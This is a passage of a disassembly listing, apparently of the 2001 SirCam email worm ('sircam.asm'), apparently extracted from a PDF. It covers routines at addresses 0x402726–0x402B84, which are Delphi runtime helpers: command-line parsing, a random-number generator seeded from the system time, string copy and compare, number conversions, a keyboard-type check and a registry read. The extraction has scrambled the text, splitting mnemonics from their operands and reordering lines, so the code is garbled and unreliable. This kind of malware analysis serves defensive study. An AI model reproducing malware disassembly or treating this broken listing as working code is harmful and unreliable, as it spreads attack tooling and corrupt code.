; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402726:
mov
inc
inc
; CODE XREF: sub_4026F0+44\031j
[esp+eax+1000h+var_1000], dl
eax
ebx
mov
test
jz
cmp
jnz
dl, [ebx]
dl, dl
short loc_402736
dl, 22h
short loc_402726
loc_40272B:
; CODE XREF: sub_4026F0+34\030j
loc_402736:
; CODE XREF: sub_4026F0+3F\030j
cmp
byte ptr [ebx], 0
jz
short loc_402743
inc
ebx
jmp
short loc_402743
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40273E:
mov
inc
inc
; CODE XREF: sub_4026F0+31\030j
[esp+eax+1000h+var_1000], dl
eax
ebx
loc_402743:
; CODE XREF: sub_4026F0+2C\030j
; sub_4026F0+49\030j ...
mov
cmp
jbe
cmp
jl
dl, [ebx]
dl, 20h
short loc_402751
eax, 1000h
short loc_40271E
mov
mov
xchg
call
mov
add
pop
edx, esp
ecx, esi
eax, ecx
sub_4035B0
eax, ebx
esp, 1000h
esi
loc_402751:
; CODE XREF: sub_4026F0+58\030j
sircam.asm
sub_4026F0
Fri Aug 10 12:42:44 2001
pop
retn
endp
45
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402768
.
proc near
var_108
= byte ptr -108h
; CODE XREF: start+E4\031p
start+300\031p ..
push
ebx
push
esi
push
edi
add
esp, 0FFFFFEF8h
mov
esi, edx
mov
ebx, eax
test
ebx, ebx
jnz
short loc_402797
push
105h
lea
eax, [esp+10Ch+var_108]
push
eax
push
0
call
j_GetModuleFileNameA
mov
ecx, eax
mov
edx, esp
mov
eax, esi
call
sub_4035B0
jmp
short loc_4027B5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402797:
call
mov
; CODE XREF: sub_402768+F\030j
j_GetCommandLineA
edi, eax
loc_40279E:
; CODE XREF: sub_402768+4B\031j
mov
edx, esi
mov
eax, edi
call
sub_4026F0
mov
edi, eax
test
ebx, ebx
jz
short loc_4027B5
cmp
dword ptr [esi], 0
jz
short loc_4027B5
dec
ebx
jmp
short loc_40279E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4027B5:
sub_402768
; CODE XREF: sub_402768+2D\030j
; sub_402768+43\030j ...
add
pop
pop
pop
retn
endp
esp, 108h
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4027C0
proc near
; CODE XREF: sub_41238C+17\031p
sircam.asm
Fri Aug 10 12:42:44 2001
var_18
var_10
var_E
var_C
var_A
=
=
=
=
=
byte
word
word
word
word
sub_4027C0
push
mov
add
lea
push
call
movzx
imul
add
imul
xor
mov
add
imul
mov
add
mov
mov
pop
retn
endp
ptr
ptr
ptr
ptr
ptr
46
-18h
-10h
-0Eh
-0Ch
-0Ah
ebp
ebp, esp
esp, 0FFFFFFE8h
eax, [ebp+var_18]
eax
j_GetSystemTime
eax, [ebp+var_10]
eax, 3Ch
ax, [ebp+var_E]
eax, 3Ch
edx, edx
dx, [ebp+var_C]
eax, edx
eax, 3E8h
dx, [ebp+var_A]
eax, edx
ds:dword_41E03C, eax
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4027FC:
cmp
jz
call
; CODE XREF: sub_402C88+10\031j
; DATA XREF: CODE:0040BAA0\031o ...
ds:dword_41E018, 0
short loc_40280B
ds:dword_41E018
loc_40280B:
; CODE XREF: CODE:00402803\030j
mov
eax, 0D2h
jmp
sub_4034BC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402818
proc near
push
push
mov
xor
mov
mov
xor
mov
inc
add
jb
cmp
ja
esi
edi
edi, eax
eax, eax
al, [edi]
esi, edx
edx, edx
dl, [esi]
esi
al, dl
short loc_40283D
al, cl
short loc_40283D
mov
mov
mov
inc
add
ecx, edx
dl, [edi]
[edi], al
edi
edi, edx
; CODE XREF: sub_41620C+65\031p
; sub_41620C+8D\031p ...
loc_40282F:
; CODE XREF: sub_402818+2D\031j
sircam.asm
Fri Aug 10 12:42:44 2001
47
repe movsb
loc_40283A:
; CODE XREF: sub_402818+29\031j
pop
edi
pop
esi
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40283D:
sub_402818
; CODE XREF: sub_402818+11\030j
; sub_402818+15\030j
mov
sub
jbe
mov
jmp
endp
al, cl
cl, [edi]
short loc_40283A
dl, cl
short loc_40282F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402848
proc near
sub_402848
xor
ecx, ecx
push
esi
push
edi
mov
cl, [edx]
mov
edi, eax
inc
ecx
mov
esi, edx
mov
eax, ecx
shr
ecx, 2
and
eax, 3
repe movsd
mov
ecx, eax
repe movsb
pop
edi
pop
esi
retn
endp
; CODE XREF: sub_41620C+48\031p
; sub_41620C+70\031p ...
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402864
proc near
; CODE XREF: start+858\031p start+8BD\031p
push
ebx
push
esi
push
ecx
mov
esi, ecx
shr
esi, 2
jz
short loc_402894
loc_40286E:
; CODE XREF: sub_402864+26\031j
mov
mov
cmp
jnz
dec
jz
mov
mov
cmp
jnz
add
add
dec
jnz
ecx, [eax]
ebx, [edx]
ecx, ebx
short loc_4028BB
esi
short loc_40288E
ecx, [eax+4]
ebx, [edx+4]
ecx, ebx
short loc_4028BB
eax, 8
edx, 8
esi
short loc_40286E
sircam.asm
Fri Aug 10 12:42:44 2001
48
jmp
short loc_402894
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40288E:
; CODE XREF: sub_402864+13\030j
add
add
eax, 4
edx, 4
loc_402894:
; CODE XREF: sub_402864+8\030j
; sub_402864+28\030j
pop
and
jz
mov
cmp
jnz
dec
jz
mov
cmp
jnz
dec
jz
mov
cmp
jnz
esi
esi, 3
short loc_4028D0
cl, [eax]
cl, [edx]
short loc_4028D0
esi
short loc_4028B6
cl, [eax+1]
cl, [edx+1]
short loc_4028D0
esi
short loc_4028B6
cl, [eax+2]
cl, [edx+2]
short loc_4028D0
loc_4028B6:
; CODE XREF: sub_402864+3D\030j
; sub_402864+48\030j
xor
eax, eax
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4028BB:
; CODE XREF: sub_402864+10\030j
; sub_402864+1D\030j
pop
cmp
jnz
cmp
jnz
shr
shr
cmp
jnz
cmp
esi
cl, bl
short loc_4028D0
ch, bh
short loc_4028D0
ecx, 10h
ebx, 10h
cl, bl
short loc_4028D0
ch, bh
loc_4028D0:
sub_402864
; CODE XREF: sub_402864+34\030j
; sub_402864+3A\030j ...
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4028D4
proc near
push
mov
mov
mov
shl
mov
mov
sar
edi
edi, eax
ch, cl
eax, ecx
eax, 10h
ax, cx
ecx, edx
ecx, 2
; CODE XREF: sub_404414+EF\031p
; sub_404414+143\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
49
js
short loc_4028F1
repe stosd
mov
ecx, edx
and
ecx, 3
repe stosb
loc_4028F1:
sub_4028D4
; CODE XREF: sub_4028D4+12\030j
pop
retn
endp
edi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4028F4
proc near
; CODE XREF: sub_41238C+21\031p
; sub_418880+1CE\031p ...
edx, ds:dword_41E03C, 8088405h
edx
ds:dword_41E03C, edx
edx
eax, edx
sub_4028F4
imul
inc
mov
mul
mov
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40290C:
; CODE XREF: sub_40296C+4\031j
push
push
push
push
sub
mov
mov
cdq
xor
sub
mov
xor
loc_402923:
ebx
esi
edi
edx
esp, 14h
edi, ecx
esi, eax
eax,
eax,
ecx,
ebx,
edx
edx
0Ah
ebx
xor
div
add
mov
inc
test
jnz
test
jge
mov
inc
; CODE XREF: CODE:00402930\031j
edx, edx
ecx
edx, 30h
[esp+ebx], dl
ebx
eax, eax
short loc_402923
esi, esi
short loc_40293B
byte ptr [esp+ebx], 2Dh
ebx
mov
inc
mov
cmp
jle
mov
[edi], bl
edi
ecx, [esp+14h]
ecx, 0FFh
short loc_40294F
ecx, 0FFh
sub
jle
add
mov
ecx, ebx
short loc_40295A
[edi-1], cl
al, 20h
loc_40293B:
; CODE XREF: CODE:00402934\030j
loc_40294F:
; CODE XREF: CODE:00402948\030j
sircam.asm
Fri Aug 10 12:42:44 2001
50
repe stosb
loc_40295A:
; CODE XREF: CODE:00402951\030j
; CODE:00402962\031j
mov
al, [esp+ebx-1]
mov
[edi], al
inc
edi
dec
ebx
jnz
short loc_40295A
add
esp, 18h
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40296C
proc near
sub_40296C
mov
xor
jmp
endp
; CODE XREF: sub_416478+109\031p
; sub_4173F0+34\031p ...
ecx, edx
edx, edx
loc_40290C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402978
proc near
push
push
push
mov
push
test
jz
xor
xor
mov
ebx
esi
edi
esi, eax
eax
eax, eax
short loc_4029F5
eax, eax
ebx, ebx
edi, 0CCCCCCCh
mov
inc
cmp
jz
mov
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jnz
mov
inc
cmp
jz
bl, [esi]
esi
bl, 20h
short loc_40298B
ch, 0
bl, 2Dh
short loc_402A03
bl, 2Bh
short loc_402A05
bl, 24h
short loc_402A0A
bl, 78h
short loc_402A0A
bl, 58h
short loc_402A0A
bl, 30h
short loc_4029C6
bl, [esi]
esi
bl, 78h
short loc_402A0A
; CODE XREF: sub_407058+6\031p
; sub_4190CC+5E0\031p ...
loc_40298B:
; CODE XREF: sub_402978+19\031j
sircam.asm
Fri Aug 10 12:42:44 2001
51
cmp
bl, 58h
jz
short loc_402A0A
test
bl, bl
jz
short loc_4029E4
jmp
short loc_4029CA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4029C6:
; CODE XREF: sub_402978+39\030j
; sub_402978+90\031j
test
jz
bl, bl
short loc_4029FE
loc_4029CA:
; CODE XREF: sub_402978+4C\030j
; sub_402978+6A\031j
sub
cmp
ja
cmp
ja
lea
add
add
mov
inc
test
jnz
bl, 30h
bl, 9
short loc_4029FE
eax, edi
short loc_4029FE
eax, [eax+eax*4]
eax, eax
eax, ebx
bl, [esi]
esi
bl, bl
short loc_4029CA
dec
jz
test
jl
ch
short loc_4029F8
eax, eax
short loc_4029FE
loc_4029E4:
; CODE XREF: sub_402978+4A\030j
loc_4029EC:
; CODE XREF: sub_402978+82\031j
; sub_402978+84\031j ...
pop
xor
ecx
esi, esi
loc_4029EF:
; CODE XREF: sub_402978+89\031j
mov
[edx], esi
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4029F5:
; CODE XREF: sub_402978+8\030j
; sub_402978+9C\031j
inc
esi
jmp
short loc_4029FE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4029F8:
; CODE XREF: sub_402978+6E\030j
neg
jle
js
eax
short loc_4029EC
short loc_4029EC
loc_4029FE:
; CODE XREF: sub_402978+50\030j
; sub_402978+58\030j ...
pop
ebx
sub
esi, ebx
jmp
short loc_4029EF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402A03:
; CODE XREF: sub_402978+20\030j
inc
ch
mov
inc
bl, [esi]
esi
loc_402A05:
; CODE XREF: sub_402978+25\030j
sircam.asm
Fri Aug 10 12:42:44 2001
52
jmp
short loc_4029C6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402A0A:
; CODE XREF: sub_402978+2A\030j
; sub_402978+2F\030j ...
mov
mov
inc
test
jz
edi, 0FFFFFFFh
bl, [esi]
esi
bl, bl
short loc_4029F5
cmp
jb
sub
bl, 61h
short loc_402A1E
bl, 20h
sub
cmp
jbe
sub
cmp
ja
add
bl, 30h
bl, 9
short loc_402A31
bl, 11h
bl, 5
short loc_4029FE
bl, 0Ah
cmp
ja
shl
add
mov
inc
test
jnz
jmp
endp
eax, edi
short loc_4029FE
eax, 4
eax, ebx
bl, [esi]
esi
bl, bl
short loc_402A16
short loc_4029EC
loc_402A16:
; CODE XREF: sub_402978+C7\031j
loc_402A1E:
; CODE XREF: sub_402978+A1\030j
loc_402A31:
sub_402978
; CODE XREF: sub_402978+AC\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402A44
proc near
sub_402A44
mov
inc
or
inc
dec
jnz
retn
endp
; CODE XREF: sub_402A44+8\031j
; sub_40F3B4+72\031p ...
ch, [edx]
edx
[eax], ch
eax
cl
short sub_402A44
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetKeyboardType. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402A58
proc near
; CODE XREF: sub_405880+8B\031p
push
ebx
xor
ebx, ebx
push
0
call
j_GetKeyboardType
cmp
eax, 7
jnz
short loc_402A83
push
1
sircam.asm
Fri Aug 10 12:42:44 2001
call
and
cmp
jz
cmp
jnz
j_GetKeyboardType
eax, 0FF00h
eax, 0D00h
short loc_402A81
eax, 400h
short loc_402A83
mov
bl, 1
loc_402A81:
; CODE XREF: sub_402A58+20\030j
loc_402A83:
sub_402A58
53
; CODE XREF: sub_402A58+D\030j
; sub_402A58+27\030j
mov
pop
retn
endp
eax, ebx
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_402A88
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_405880+94\031p
push
mov
add
movzx
mov
lea
push
push
push
push
push
call
test
jnz
xor
push
push
push
mov
mov
lea
push
lea
push
push
push
push
mov
push
call
xor
pop
pop
pop
mov
push
ebp
ebp, esp
esp, 0FFFFFFF4h
eax, ds:word_41C000
[ebp+var_8], eax
eax, [ebp+var_4]
eax
1
0
offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
80000002h
j_RegOpenKeyExA
eax, eax
short loc_402B00
eax, eax
ebp
offset loc_402AF9
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_C], 4
eax, [ebp+var_C]
eax
eax, [ebp+var_8]
eax
0
0
offset aFpumaskvalue ; "FPUMaskValue"
eax, [ebp+var_4]
eax
j_RegQueryValueExA
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_402B00
mov
push
eax, [ebp+var_4]
eax
loc_402AEF:
; CODE XREF: sub_402A88+76\031j
sircam.asm
Fri Aug 10 12:42:44 2001
54
call
j_RegCloseKey
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402AF9:
; DATA XREF: sub_402A88+2E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_402AEF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402B00:
sub_402A88
mov
and
mov
and
or
mov
mov
pop
retn
endp
; CODE XREF: sub_402A88+29\030j
; DATA XREF: sub_402A88+62\030o
ax, ds:word_41C000
ax, 0FFC0h
dx, word ptr [ebp+var_8]
dx, 3Fh
ax, dx
ds:word_41C000, ax
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
aSoftwareBorlan db ’SOFTWARE\Borland\Delphi\RTL’,0 ; DATA XREF: sub_402A88+18\030o
aFpumaskvalue
db ’FPUMaskValue’,0
; DATA XREF: sub_402A88+4C\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402B4C
proc near
sub_402B4C
fninit
wait
fldcw
retn
endp
; CODE XREF: CODE:00402E54\031p
; CODE:0040312A\031p ...
ds:word_41C000
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402B58
proc near
sub_402B58
mov
retn
endp
; CODE XREF: sub_4151E8+13\031p
; sub_4151E8+1C\031p
eax, [eax]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402B5C
proc near
push
esi
push
edi
mov
edi, edx
mov
esi, [eax-2Ch]
xor
ecx, ecx
mov
cl, [esi]
inc
ecx
repe movsb
pop
edi
pop
esi
; CODE XREF: CODE:0040934F\031p
; sub_40C560+2E\031p ...
sircam.asm
sub_402B5C
Fri Aug 10 12:42:44 2001
55
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_402B70:
; DATA XREF: CODE:0040104C\030o
; CODE:00406234\031o ...
push
eax
mov
eax, [eax-28h]
call
sub_402598
mov
edx, eax
pop
eax
jmp
loc_402BE8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402B84
